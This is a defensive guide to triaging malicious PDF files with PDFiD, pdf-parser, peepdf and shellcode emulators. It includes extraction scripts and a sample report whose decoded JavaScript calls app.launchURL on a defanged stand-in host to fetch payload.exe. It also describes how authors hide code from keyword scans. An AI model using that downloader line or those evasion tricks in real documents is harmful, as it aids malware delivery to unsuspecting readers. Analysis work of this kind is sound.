Analyzing PDF Malware With Pdfid

Analyzing PDF Malware with PDFiD

When to Use

• A suspicious PDF attachment has been flagged by email security or reported by a user
• You need to determine if a PDF contains embedded JavaScript, shellcode, or exploit code
• Triaging PDF documents before opening them in a sandbox or analysis environment
• Extracting embedded executables, scripts, or URLs from malicious PDF objects
• Analyzing PDF exploit kits targeting Adobe Reader or other PDF viewer vulnerabilities

Do not use for analyzing the rendered visual content of a PDF; this is for structural analysis of the PDF file format for malicious objects.

Detection Gaps & Validation

• A clean PDFiD scan is not an all-clear. PDFiD only counts keywords - malware hides /JavaScript and /OpenAction inside object streams (/ObjStm), so the keyword count reads zero. Always follow up with pdf-parser --stats and explicitly decompress and search inside every /ObjStm.
• Decode before you judge. Streams are layered: FlateDecode -> ASCIIHexDecode -> ASCII85Decode, often with names split across tokens (/J#61vaScript) to defeat grep. Apply --filter and normalize hex-escaped name tokens, then re-search the decoded output.
• JS lives outside /JS. Code rides in /AA (additional actions), /AcroForm + /XFA, /Names, and /RichMedia - enumerate the OpenAction/AA reference chain object-by-object rather than trusting a single keyword hit.
• Confirm a hit by extracting the stream (pdf-parser --object N --filter --raw --dump), deobfuscating the JS, and emulating shellcode in scdbg/speakeasy to capture real API calls and URLs - a payload that actually resolves an exploit or downloader confirms maliciousness.
• Embedded payloads need carving. Scan the raw file for MZ/PE and %PDF polyglots and /EmbeddedFile objects; an attached EXE/DLL won't show as JavaScript at all.
• Benign lookalikes: legitimate forms, e-signature/Acroform workflows, and analytics SDKs use /OpenAction, /AA, and /URI. Validate the destination and decoded intent (redirect vs. exploit vs. tracking) before classifying.

Prerequisites

• Python 3.8+ with Didier Stevens' PDF tools installed (pip install pdfid pdf-parser)
• peepdf installed for interactive PDF analysis (pip install peepdf)
• pdftotext from poppler-utils for extracting text content safely
• YARA with PDF-specific rules for malware family identification
• Isolated analysis VM without a PDF reader installed (prevent accidental opening)
• CyberChef for decoding embedded Base64, hex, or deflate streams

Workflow

Step 1: Initial Triage with PDFiD

Scan the PDF for suspicious keywords and structures:

# Run PDFiD to identify suspicious elements
pdfid suspect.pdf

# Expected output analysis:
# /JS           - JavaScript (HIGH risk)
# /JavaScript   - JavaScript object (HIGH risk)
# /AA           - Auto-Action triggered on open (HIGH risk)
# /OpenAction   - Action on document open (HIGH risk)
# /Launch       - Launch external application (HIGH risk)
# /EmbeddedFile - Embedded file (MEDIUM risk)
# /RichMedia    - Flash content (MEDIUM risk)
# /ObjStm       - Object stream (used for obfuscation)
# /URI          - URL reference (contextual risk)
# /AcroForm     - Interactive form (MEDIUM risk)

# Run with extra detail
pdfid -e suspect.pdf

# Run with disarming (rename suspicious keywords)
pdfid -d suspect.pdf

PDFiD Risk Assessment:
━━━━━━━━━━━━━━━━━━━━━
HIGH RISK indicators (any count > 0):
  /JS, /JavaScript  -> Embedded JavaScript code
  /AA               -> Automatic Action (triggers without user interaction)
  /OpenAction       -> Code runs when document is opened
  /Launch           -> Can launch external executables
  /JBIG2Decode      -> Associated with CVE-2009-0658 exploit

MEDIUM RISK indicators:
  /EmbeddedFile     -> Contains embedded files (could be EXE/DLL)
  /RichMedia        -> Flash/multimedia (Flash exploits)
  /AcroForm         -> Form with possible submit action
  /XFA              -> XML Forms Architecture (complex attack surface)

LOW RISK indicators:
  /ObjStm           -> Object streams (obfuscation technique)
  /URI              -> External URL references
  /Page             -> Number of pages (context only)

Step 2: Parse PDF Structure with pdf-parser

Examine suspicious objects identified by PDFiD:

# List all objects referencing JavaScript
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf

# List all objects with OpenAction
pdf-parser --search "/OpenAction" suspect.pdf

# Extract a specific object by ID (example: object 5)
pdf-parser --object 5 suspect.pdf

# Extract and decompress stream content
pdf-parser --object 5 --filter --raw suspect.pdf

# Search for embedded files
pdf-parser --search "/EmbeddedFile" suspect.pdf

# List all objects with their types
pdf-parser --stats suspect.pdf

Step 3: Extract and Analyze Embedded JavaScript

Pull out JavaScript code from PDF objects:

# Extract JavaScript using pdf-parser
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt

# Alternative: Use peepdf for interactive JavaScript extraction
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF

# peepdf interactive commands for JS analysis:
# js_analyse          - Extract and show all JavaScript code
# js_beautify         - Format extracted JavaScript
# js_eval <object>    - Evaluate JavaScript in sandboxed environment
# object <id>         - Display object content
# rawobject <id>      - Display raw object bytes
# stream <id>         - Display decompressed stream
# offsets             - Show object offsets in file

# Python script for comprehensive PDF JavaScript extraction
import subprocess
import re

# Extract all streams and search for JavaScript
result = subprocess.run(
    ["pdf-parser", "--stats", "suspect.pdf"],
    capture_output=True, text=True
)

# Find object IDs containing JavaScript references
js_objects = []
for line in result.stdout.split('\n'):
    if '/JavaScript' in line or '/JS' in line:
        obj_id = re.search(r'obj (\d+)', line)
        if obj_id:
            js_objects.append(obj_id.group(1))

# Extract each JavaScript-containing object
for obj_id in js_objects:
    result = subprocess.run(
        ["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
        capture_output=True, text=True
    )
    print(f"\n=== Object {obj_id} ===")
    print(result.stdout[:2000])

Step 4: Analyze Embedded Shellcode

Extract and examine shellcode from PDF exploits:

# Extract raw stream data for shellcode analysis
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf

# Analyze shellcode with scdbg (shellcode debugger)
scdbg /f shellcode.bin

# Alternative: Use speakeasy for shellcode emulation
python3 -c "
import speakeasy

se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)

# Review API calls made by shellcode
for event in se.get_report()['api_calls']:
    print(f\"{event['api']}: {event['args']}\")
"

# Use CyberChef to decode hex/base64 encoded shellcode
# Input: Extracted stream data
# Recipe: From Hex -> Disassemble x86

Step 5: Extract Embedded Files and URLs

Pull out embedded executables and linked resources:

# Extract embedded files from PDF
import subprocess
import hashlib

# Find embedded file objects
result = subprocess.run(
    ["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
    capture_output=True
)

# Extract embedded PE files by searching for MZ header
with open("suspect.pdf", "rb") as f:
    data = f.read()

# Search for embedded PE files
offset = 0
while True:
    pos = data.find(b'MZ', offset)
    if pos == -1:
        break
    # Verify PE signature
    if pos + 0x3C < len(data):
        pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
        if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
            print(f"Embedded PE found at offset 0x{pos:X}")
            # Extract (estimate size or use PE header)
            embedded = data[pos:pos+100000]  # Initial extraction
            sha256 = hashlib.sha256(embedded).hexdigest()
            with open(f"embedded_{pos:X}.exe", "wb") as out:
                out.write(embedded)
            print(f"  SHA-256: {sha256}")
    offset = pos + 1

# Extract URLs from PDF
result = subprocess.run(
    ["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
    capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
    print(f"URL: {url}")

Step 6: Generate Analysis Report

Document all findings from the PDF analysis:

Analysis should cover:
- PDFiD triage results (suspicious keyword counts)
- PDF structure anomalies (object streams, cross-reference issues)
- Extracted JavaScript code (deobfuscated if needed)
- Shellcode analysis results (API calls, network indicators)
- Embedded files extracted with hashes
- URLs and external references
- CVE identification if a known exploit is detected
- YARA rule matches against known PDF malware families

Key Concepts

Tools & Systems

• PDFiD: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document
• pdf-parser: Companion tool to PDFiD for detailed PDF object extraction, stream decompression, and content analysis
• peepdf: Python-based PDF analysis tool providing interactive shell for object inspection and JavaScript extraction
• QPDF: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis
• scdbg: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls

Common Scenarios

Scenario: Triaging a Phishing PDF with Embedded JavaScript

Context: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect.

Approach:

1. Run PDFiD to confirm /JS, /JavaScript, and /OpenAction presence and counts
2. Use pdf-parser to extract the OpenAction object and follow its reference chain
3. Extract the JavaScript code from the referenced stream object (apply FlateDecode filter)
4. Deobfuscate the JavaScript (decode hex strings, resolve eval chains)
5. Determine if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect
6. Extract all URLs, IPs, and embedded files as IOCs
7. Classify the sample: exploit (specific CVE) or social engineering (redirect/phishing)

Pitfalls:

• Opening the PDF in a standard reader instead of analyzing it with command-line tools
• Missing JavaScript hidden inside Object Streams (/ObjStm) that PDFiD detects but simple parsers miss
• Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters)
• Assuming the absence of /JS means no JavaScript; code can be embedded in form fields (/AcroForm with /XFA)

Output Format

PDF MALWARE ANALYSIS REPORT
==============================
File:             invoice_2025.pdf
SHA-256:          e3b0c44298fc1c149afbf4c8996fb924...
File Size:        45,312 bytes
PDF Version:      1.7

PDFID TRIAGE
/JS:              1  [HIGH RISK]
/JavaScript:      1  [HIGH RISK]
/OpenAction:      1  [HIGH RISK]
/EmbeddedFile:    0
/Launch:          0
/URI:             2
/Page:            1
/ObjStm:          1  [OBFUSCATION]

SUSPICIOUS OBJECTS
Object 5:        /OpenAction -> references Object 8
Object 8:        /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
Object 12:       /ObjStm containing objects 15-18

EXTRACTED JAVASCRIPT
Layer 1:          eval(unescape("%68%65%6C%6C%6F"))
Layer 2:          var url = "hxxp://malicious[.]com/payload.exe";
                  app.launchURL(url, true);
                  // Social engineering redirect, not exploit

EXTRACTED IOCs
URLs:             hxxp://malicious[.]com/payload.exe
                  hxxps://fake-login[.]com/adobe/verify
Domains:          malicious[.]com, fake-login[.]com

CLASSIFICATION
Type:             Social Engineering (URL redirect)
CVE:              None (no exploit code detected)
Risk:             HIGH (downloads executable payload)
Family:           Generic PDF Dropper